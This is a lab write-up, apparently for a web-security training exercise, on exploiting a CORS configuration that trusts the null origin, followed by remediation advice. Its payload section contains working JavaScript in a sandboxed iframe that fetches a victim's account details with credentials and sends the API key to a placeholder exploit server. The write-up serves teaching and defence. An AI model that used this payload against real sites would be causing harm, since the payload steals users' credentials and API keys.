SCENARIO

The application has an insecure CORS configuration in it which forces the application to trust origins. We’ll try to exploit the vulnerability by getting the administrator’s API key.

**PROCEDURE**

1. Open the vulnerable application and log in using the provided credentials and access the **my-account** page.
2. Open the Proxy tab in BurpSuite and we notice that there is a request made named **accountDetails** which contains the API key of the user.
3. Now we will send this request to repeater and there we see that the **ACAO** header is set as true which could be a sign that the application allows requests from null origins.
4. To test this, we will add the Payload 1 in the request and send it, we see that it is accepted so now we will develop an exploit using some malicious JavaScript code.
5. Now add the Payload 2 into the exploit server’s body and store then deliver it to the target.
6. We can see that there comes a request with a unique URL and in it there comes the API key of the administrator encoded in URL format.

**PAYLOAD**

1. Origin: null
2. html>

<body>

<iframe style="display: none;" sandbox="allow-scripts" srcdoc="

<script>

var xhr = new XMLHttpRequest();

var url = 'https://ac371f531f693ef3c07b84de00630017.web-security-academy.net'

xhr.onreadystatechange = function() {

if (xhr.readyState == XMLHttpRequest.DONE) {

fetch('http://EXPLOIT-SERVER/log?key=' + xhr.responseText)

}

}

xhr.open('GET', url + '/accountDetails', true);

xhr.withCredentials = true;

xhr.send(null);

</script>"></iframe>

</body>

</html>

**REMEDIATION**

1. **Restrictive CORS Policy:** The Access-Control-Allow-Origin header should be set to specific trusted domains, rather than allowing any or null origins. Update the application's CORS configuration to be strict and specific about which origins are permitted.
2. **Validation of Origins:** Implement server-side logic to validate the Origin header in incoming requests. If the Origin is unexpected or not in the whitelist of allowed origins, the request should be denied or not given CORS-specific headers in response.
3. **Enhance API Security:** Consider implementing additional layers of security for accessing sensitive data like API keys. This could include using OAuth tokens, re-authentication, or ensuring that such data is not easily accessible even if CORS is bypassed.